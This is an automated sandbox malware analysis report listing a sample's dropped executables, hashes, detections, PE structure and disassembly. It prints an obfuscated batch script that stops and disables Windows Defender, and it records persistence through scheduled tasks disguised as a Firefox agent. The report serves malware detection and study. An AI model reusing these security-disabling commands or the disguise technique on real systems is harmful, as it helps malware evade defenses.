Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 131.253.33.200, 13.107.22.200, 104.208.16.94 Excluded domains from analysis (whitelisted): www.bing.com, ctldl.windowsupdate.com, arc.msn.com, ris.api.iris.microsoft.com, dual-a-0001.dc-msedge.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, www-bing-com.dual-a-0001.a-msedge.net, blobcollector.events.data.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:20:49	Task Scheduler	Run new task: Firefox Default Browser Agent 9682C9CDD0967C59 path: C:\Users\user\AppData\Roaming\hrgjvbv
22:22:06	Task Scheduler	Run new task: Firefox Default Browser Agent 386388EAAF16D104 path: C:\Users\user\AppData\Roaming\argjvbv

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\8039.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\8039.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	410
Entropy (8bit):	5.346314304489858
Encrypted:	false
SSDEEP:	12:Q3La/hhkvoDLI4MWuCqDLI4MWuPk21q1KDLI4M6:MLUE4K5E4Ks2E1qE4j
MD5:	C70892F98C66E2701D48CFC052DE80F6
SHA1:	FBAC1415A037F6F650B418F17CD9AF44AE845E20
SHA-256:	AEE730B643B2C97FCBA55D2A3385160819447E1EDC8E08595B0605ADEB553A89
SHA-512:	ECE4FC4F5F20E490F48D0B0B5152ECCAC6A2FEDFF21D94A56E99F7AC54BE8E84D56472987C758891C8C8BAFFEEE1FEBF2CEBCD42456391DCF214B1AC06C55E66
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Temp\1105.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\9D57.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1622408
Entropy (8bit):	6.298350783524153
Encrypted:	false
SSDEEP:	24576:hNZ04UyDzGrVh8xsPCw3/dzcldJndozS35IW1q/kNVSYVEs4j13HLHGJImdV4q:dGrVr3hclvnqzS35IWk/LvRHb0
MD5:	BFA689ECA05147AFD466359DD4A144A3
SHA1:	B3474BE2B836567420F8DC96512AA303F31C8AFC
SHA-256:	B78463B94388FDDB34C03F5DDDD5D542E05CDED6D4E38C6A3588EC2C90F0070B
SHA-512:	8F09781FD585A6DFB8BBC34B9F153B414478B44B28D80A8B0BDC3BED687F3ADAB9E60F08CCEC5D5A3FD916E3091C845F9D96603749490B1F7001430408F711D4
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 2%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L!y>.@.m.@.m.@.m...l.@.mg$.l.@.mg$.lN@.mg$.l.A.mg$.l.@.mg$.l.@.mg$.m.@.mg$.l.@.mRich.@.m........................PE..L...s<s............!.....,...................P....(K......................................@A.............................&..............8............h...Y.......N..`l..T............................................................................text....).......*.................. ..`RT...........@...................... ..`.data...dW...P.......0..............@....mrdata.h#.......$...>..............@....00cfg...............b..............@..@.rsrc...8............d..............@..@.reloc...N.......P..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\59B4.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2758360
Entropy (8bit):	7.8072751275522085
Encrypted:	false
SSDEEP:	49152:SegXQmBiJwU7ltidndcPtBy1y4wLSo7HevDBiit8eU7LmgD+QDWYYOu4A:MfBcnmUCQL0FZtO7LFDO
MD5:	510129781D403976345AFEA3BDB4E426
SHA1:	7990E703C20D541B81D310AA6DF243BAF591ED04
SHA-256:	9642C83319B6F287E5FEACA3EDB50BD447A9CD41CDB88D6E588AA569BFF23552
SHA-512:	1DDD3F8E813091E5DF421235B5AA8FEE8845E960794D72BEB0925D854119653F5D2E9E8190177EAACC6F20A1D791CF3926420E441F76C6B7CA155120E7B0DF7B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L................0...............H.. ...@....@.. ....................... o.....^.*...@.................................:...P.....i.oC............)............................................................................................. . ... ...................... ..` hN...@......................@..@ ............................@..@.idata... ..........................@...~.\1847. ..........................@..@.themida..>.........................`....boot.....!...G...!.................`..`~.\1847P.....i.......$............. ..`~.\1847P.....i.......$............. ..`.rsrc...oC....i..D....$.............@..@................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\610B.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	365568
Entropy (8bit):	6.486259774061807
Encrypted:	false
SSDEEP:	6144:wQBXemUkeyanBOnxNrQZ85As33XirHVcrdtCzrC8qhmzAzCB6lYDuvq:5BOWmBOnxdzXiDqrdtCzrCRmzAzCB2YZ
MD5:	7BD70FFC35AB8B39FDE9BD5FAEC876DB
SHA1:	01BB3BF7DD71EDBCB81DBFDEA0EAA80DF35F8443
SHA-256:	682DEC9DEB96439E3D921A1BB95CF498729FE8EAD7B665A6E17FEA7349998CD0
SHA-512:	88095122F60A9CC515930EDC5F7895A1224F4ACA0589B85961B657DB55A77B8F2CA483A030DD02C6CB65D0E0680DF16800A104D5D102C52F316BECA26E76DC26
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................G......r......F................\|....C......v......q.....Rich............PE..L...2.u`.................0....p..............@....@...........................u..............................................2..P.....s..B....................t.....@...................................@............................................text...X........0.................. ..`.data...,do..@.......4..............@....rsrc....B....s..D...F..............@..@.reloc........t.....................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8039.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	7.82778559429451
Encrypted:	false
SSDEEP:	6144:hKaDPab1LDUZtIkWAsI36168lf+7ZgNv6IO6z:hK4wlKetAsSgf+VO6IO6
MD5:	EF9CFB2DDC4AF2089DF63A761ECC7833
SHA1:	2E44DAD28F2131822DCD9B7868C11FB1767C3D4B
SHA-256:	9FD007DE870E23DEB778B08AF3A01E3DFAF9DFC3483496C438EC734B26D26340
SHA-512:	E95BA94E92470BE2B4FCC8FE9E4C128E1E529B3C29C9439FBCFAFD972E37BF3FF011B09F7D9FB0CE6E58B39C91F46C5087F433CB9DDDA8FA7C319DA41427FAA2
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 36%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....x.a..................................... ....@.. ....................................@.................................(...S.......................................................................................................H...........)EWhg.NF .... ......................@....text...4........................... ..`.rsrc................r..............@..@.....................\|.............. ..`.reloc...............~..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\82DC.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	399872
Entropy (8bit):	3.7275795885047986
Encrypted:	false
SSDEEP:	12288:vQuTQwVAJpxBG3t5Y4I6hGk3JfTCc61OC1dDEtDs7C:vQp/JuS
MD5:	0F289285CADCF1E656016A19789B5637
SHA1:	255E2358E028F91BC273CAD7984E73054D47CEFB
SHA-256:	BF3CF8C31844F459B99593A2291F55D1BD57A73E293067E5921A45FE85F8F2F6
SHA-512:	BE3F4A57128B9FA791DC44F33C97C67FE74652A2347506F916B5EB999DBD2D6B04FF6E4158AD52E59BE3A603EF499E8C00CCA5C517A4024B6735B3DB54F5598C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 54%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..............0... ...@....@.. ....................................@................................../..K....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................0......H......../..T4...........................................................0..........~....u....s....z&......................2(.... ....j....r...p(.....s....%.}..........s....o....9....s....z....(.........2.s....(.......v.(......r-..p~....o....(........{.....0..i........:....~........(......~....:$.........(.........(....(....(.........~....{....~.....o....(....o....}........0...........o......o....(.....(.....o.....6..(....(....*...0..E.......~.....s.......8"........

C:\Users\user\AppData\Local\Temp\9D57.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	233472
Entropy (8bit):	6.6947626548823385
Encrypted:	false
SSDEEP:	6144:vLDuP9cE7VUV+/7yfpO7JTx4uzbgwu6QigabwVf:DDxE7VUVPOL4unn5
MD5:	08CB82859479B33DC1D0738B985DB28C
SHA1:	2162CEC3E4A16E4B9C610004011473965CF300F8
SHA-256:	8DB223A1FFA1B3B3788EE9F0E050CC64F7B5CBEFA8745E95E00391F7BABCCE58
SHA-512:	A69A4EACB8CED14DC55FCA39D43D6182FE8D600D4DA9FB938298FC151866A26777B45A527BCB2CC099D734111DBEB70224ED16E9B590C8B76B057B905EB7C912
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L....xL`.................:...................P....@.......................... .............................................T...<.... ...............................Q..............................(n..@............P..l............................text...p9.......:.................. ..`.rdata...:...P...<...>..............@..@.data...............z..............@....rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B8B0.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	161280
Entropy (8bit):	5.163359140538006
Encrypted:	false
SSDEEP:	3072:hj1+ax5s9jVultxyIAMzTjSMzTjoIe1UhCp:hJqjVoeN
MD5:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
SHA1:	6E1ACD6CB17AB64AC6DBF0F4400C649371B0E3BD
SHA-256:	08D67F957EC38E92301EEAAAF2759EF2A070376239EAD25864C88F3DD31EAB8C
SHA-512:	14A1CD1090A2ECCEA3B654EEE2B7D4DE390219F8C3C200D97D2AB431311BDF24B1B40F2F38E78804AD286654CD33DFB515704C9B863DAF0786A0D633F05C9BF2
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\B8B0.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 46%, Browse Antivirus: ReversingLabs, Detection: 71%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.wa..............P..l.............. ........@.. ...................................@.....................................O....................x............................................................... ............... ..H............text....k... ...l.................. ..`.rsrc................n..............@..@.reloc...............t..............@..B.......................H.......(u..t.......A...HL...(..........................................M...Z...........................................................................................@...............................................................................................................................................................................................!...........L.......!...T...h...i...s... ...p...r...o...g...r...a...m... ...c...a...n...n...o...t... ...b...e... ...r...

C:\Users\user\AppData\Local\Temp\F72D.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	292864
Entropy (8bit):	5.9359496550819655
Encrypted:	false
SSDEEP:	3072:6zyig02ASl6xXrDXa23CiVfcC5DBoLtJaIC4CrraxIsgUUirwX0m5Sl5nTk5DItT:6xxXoiVfcGB0vaIC4CrrqR3rC0z5+k
MD5:	DB2EF30E8F821C8F00456941F5944849
SHA1:	01A08A69F1E8E6D822ECE577A9EBE84A0C7F5F60
SHA-256:	433CF9125A44E304ECA2C5CF3BFE2AF0B1DEAFD1C5E8D13D559E1BAC9DE711B3
SHA-512:	7E8A3B0A1C57B3E7E8B6BFF850D5CD28BBABCA63BA90BCA0F7A502E3964DE641004388AFB1271A01E7BC34BA66D6299E487107869C4BC224BF36D6FB900E72EE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................G......r......F................\|....C......v......q.....Rich............PE..L...Md._......................p.....`........0....@...........................t.....1...........................................P.....r..B....................r.....@................................{..@............................................text............................... ..`.data...,do..0......................@....rsrc....B....r..D...*..............@..@.reloc........r......n..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\B8B0.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91000
Entropy (8bit):	6.241345766746317
Encrypted:	false
SSDEEP:	1536:JW3osrWjET3tYIrrRepnbZ6ObGk2nLY2jR+utQUN+WXim:HjjET9nX0pnUOik2nXjR+utQK+g3
MD5:	17FC12902F4769AF3A9271EB4E2DACCE
SHA1:	9A4A1581CC3971579574F837E110F3BD6D529DAB
SHA-256:	29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B
SHA-512:	036E0D62490C26DEE27EF54E514302E1CC8A14DE8CE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FD41AF4195BA9ED7E32E894767CE04467E79110E89522E4A
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oH..+)..+)..+)...&.))...&.9).....()...... )..+)...(......()......).....).....)..Rich+)..........................PE..L.....(_.........................................@..........................@..............................................L............a...........B..x!..........p...................................................<............................text...)........................... ..`.rdata.../.......0..................@..@.data...............................@....rsrc....a.......b..................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat Download File
Process:	C:\Users\user\AppData\Local\Temp\B8B0.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	modified
Size (bytes):	8399
Entropy (8bit):	4.665734428420432
Encrypted:	false
SSDEEP:	192:XjtIefE/Qv3puaQo8BElNisgwgxOTkre0P/XApNDQSO8wQJYbZhgEAFcH8N:xIef2Qh8BuNivdisOyj6YboVF3N
MD5:	B2A5EF7D334BDF866113C6F4F9036AAE
SHA1:	F9027F2827B35840487EFD04E818121B5A8541E0
SHA-256:	27426AA52448E564B5B9DFF2DBE62037992ADA8336A8E36560CEE7A94930C45E
SHA-512:	8ED39ED39E03FA6D4E49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56CACEEE87ACFB7D4831D267189E
Malicious:	false
Reputation:	unknown
Preview:	@%nmb%e%lvjgxfcm%c%qckbdzpzhfjq%h%anbajpojymsco%o%nransp% %aqeoe%o%mitd%f%puzu%f%bjs%..%fmmjryur%s%ukdtxiqneflfe%c%toqs% %xbvjy%s%ykctzeltrurlx%t%xdvrvty%o%tutofjebvoygco%p%noaevpkwrrrcf% %npfksd%w%ljconeph%i%sinxiygfbc%n%ykxnbrpdqztrdb%d%mfuvueeajpyxla%e%ewyybmmo%f%jdztigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrqav%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbqs%f%nue%i%lgybsrbqk%g%xguast% %vas%w%tdayskzhki%i%fmmjryurgrdcz%n%emroplriim%d%ymxvyr%e%iqpwnheoi%f%ffehbxrlehlo%e%tutofjebvo%n%ywjkif%d%pvdaa% %trpa%s%xznydsnqgdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xar%b%mwm%l%ozlt%e%wlhzjhxuzh%d%roqtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdqhif%t%prvhhnqvvouz%o%liyjprtqxuur%p%jskzmuaxtb% %vwoqshkaaladz%S%ruuosytlcgu%e%nftvippqc%n%qhj%s%llxrmrlqje%e%tutofje%..%xxnqgsvqut%s%racqhzwreqndv%c%skizikcom% %ytf%c%pxdixotcxymnev%o%dwcezzifyaqd%n%jjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf%g%rxycnmibql% %hfzbr

C:\Users\user\AppData\Roaming\argjvbv Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	233472
Entropy (8bit):	6.6947626548823385
Encrypted:	false
SSDEEP:	6144:vLDuP9cE7VUV+/7yfpO7JTx4uzbgwu6QigabwVf:DDxE7VUVPOL4unn5
MD5:	08CB82859479B33DC1D0738B985DB28C
SHA1:	2162CEC3E4A16E4B9C610004011473965CF300F8
SHA-256:	8DB223A1FFA1B3B3788EE9F0E050CC64F7B5CBEFA8745E95E00391F7BABCCE58
SHA-512:	A69A4EACB8CED14DC55FCA39D43D6182FE8D600D4DA9FB938298FC151866A26777B45A527BCB2CC099D734111DBEB70224ED16E9B590C8B76B057B905EB7C912
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L....xL`.................:...................P....@.......................... .............................................T...<.... ...............................Q..............................(n..@............P..l............................text...p9.......:.................. ..`.rdata...:...P...<...>..............@..@.data...............z..............@....rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\hrgjvbv Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	292864
Entropy (8bit):	5.9359496550819655
Encrypted:	false
SSDEEP:	3072:6zyig02ASl6xXrDXa23CiVfcC5DBoLtJaIC4CrraxIsgUUirwX0m5Sl5nTk5DItT:6xxXoiVfcGB0vaIC4CrrqR3rC0z5+k
MD5:	DB2EF30E8F821C8F00456941F5944849
SHA1:	01A08A69F1E8E6D822ECE577A9EBE84A0C7F5F60
SHA-256:	433CF9125A44E304ECA2C5CF3BFE2AF0B1DEAFD1C5E8D13D559E1BAC9DE711B3
SHA-512:	7E8A3B0A1C57B3E7E8B6BFF850D5CD28BBABCA63BA90BCA0F7A502E3964DE641004388AFB1271A01E7BC34BA66D6299E487107869C4BC224BF36D6FB900E72EE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................G......r......F................\|....C......v......q.....Rich............PE..L...Md._......................p.....`........0....@...........................t.....1...........................................P.....r..B....................r.....@................................{..@............................................text............................... ..`.data...,do..0......................@....rsrc....B....r..D...*..............@..@.reloc........r......n..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\hrgjvbv:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.9359496550819655
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	y4oMrtO1Mt.exe
File size:	292864
MD5:	db2ef30e8f821c8f00456941f5944849
SHA1:	01a08a69f1e8e6d822ece577a9ebe84a0c7f5f60
SHA256:	433cf9125a44e304eca2c5cf3bfe2af0b1deafd1c5e8d13d559e1bac9de711b3
SHA512:	7e8a3b0a1c57b3e7e8b6bff850d5cd28bbabca63ba90bca0f7a502e3964de641004388afb1271a01e7bc34ba66d6299e487107869c4bc224bf36d6fb900e72ee
SSDEEP:	3072:6zyig02ASl6xXrDXa23CiVfcC5DBoLtJaIC4CrraxIsgUUirwX0m5Sl5nTk5DItT:6xxXoiVfcGB0vaIC4CrrqR3rC0z5+k
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................G.......r.......F.................\|.....C.......v.......q.....Rich............PE..L...Md._...................

File Icon


Icon Hash:	aedaae9ecea62aa2

Static PE Info

General
Entrypoint:	0x418260
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x5FD7644D [Mon Dec 14 13:10:37 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	a5effb4de201aefae267d5eef9a314ac

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007FBB1C85610Bh
call 00007FBB1C852EA6h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 004310E0h
push 0041A680h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF98h
push ebx
push esi
push edi
mov eax, dword ptr [00433404h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00401088h]
cmp dword ptr [02B28428h], 00000000h
jne 00007FBB1C852EA0h
push 00000000h
push 00000000h
push 00000001h
push 00000000h
call dword ptr [00401104h]
call 00007FBB1C853023h
mov dword ptr [ebp-6Ch], eax
call 00007FBB1C859ADBh
test eax, eax
jne 00007FBB1C852E9Ch
push 0000001Ch
call 00007FBB1C852FE0h
add esp, 04h
call 00007FBB1C859438h
test eax, eax
jne 00007FBB1C852E9Ch
push 00000010h
call 00007FBB1C852FCDh
add esp, 04h
push 00000001h
call 00007FBB1C859383h
add esp, 04h
call 00007FBB1C85719Bh
mov dword ptr [ebp-04h], 00000000h
call 00007FBB1C855B2Fh
test eax, eax

Rich Headers

Programming Language:

[LNK] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x316ec	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x272a000	0x4210	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x272f000	0x17c0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1240	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x17bd8	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1ec	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x312a8	0x31400	False	0.612701261104	data	7.02904343285	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x33000	0x26f642c	0x1200	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x272a000	0x4210	0x4400	False	0.711971507353	data	6.22162215956	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x272f000	0x109c8	0x10a00	False	0.0766858552632	data	1.00398945352	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x272da38	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ICON	0x272a2d0	0x25a8	data	Spanish	Paraguay
RT_ICON	0x272c878	0x10a8	data	Spanish	Paraguay
RT_STRING	0x272dca8	0x150	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x272ddf8	0x252	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x272e050	0x1bc	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x272d9b0	0x88	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x272d948	0x68	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0x272db68	0x14	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_ICON	0x272d920	0x22	data	Spanish	Paraguay
RT_VERSION	0x272db80	0x128	data	Divehi; Dhivehi; Maldivian	Maldives

Imports

DLL	Import
KERNEL32.dll	SetDllDirectoryW, _lwrite, InterlockedDecrement, GetNamedPipeHandleStateA, SetHandleInformation, SetConsoleScreenBufferSize, CancelWaitableTimer, SetVolumeMountPointW, FindFirstFileExW, FreeEnvironmentStringsA, GetModuleHandleW, GetSystemTimeAsFileTime, GetPrivateProfileStringW, ReadConsoleW, GetSystemWow64DirectoryA, QueryActCtxW, CreateActCtxW, ActivateActCtx, GlobalAlloc, GlobalFindAtomA, LoadLibraryW, GetConsoleMode, ReadConsoleInputA, SizeofResource, GetSystemWindowsDirectoryA, SetConsoleMode, HeapValidate, GetVolumePathNamesForVolumeNameW, IsDBCSLeadByte, GetModuleFileNameW, GetSystemDirectoryA, CompareStringW, GetStartupInfoW, TlsGetValue, GetLastError, SetLastError, GetProcAddress, SetFirmwareEnvironmentVariableW, CreateNamedPipeA, IsValidCodePage, CopyFileA, GlobalGetAtomNameA, SearchPathA, GetPrivateProfileStringA, OpenWaitableTimerA, WritePrivateProfileStringA, WTSGetActiveConsoleSessionId, SetConsoleCursorInfo, GetProcessShutdownParameters, BuildCommDCBA, GetCurrentDirectoryA, GetFileTime, GetVersionExA, GetWindowsDirectoryW, FileTimeToLocalFileTime, TlsFree, GetProfileSectionW, CommConfigDialogW, LocalFileTimeToFileTime, GetConsoleAliasesLengthW, VerifyVersionInfoW, DeleteFileA, GetCommandLineA, HeapSetInformation, EnterCriticalSection, LeaveCriticalSection, DecodePointer, TerminateProcess, 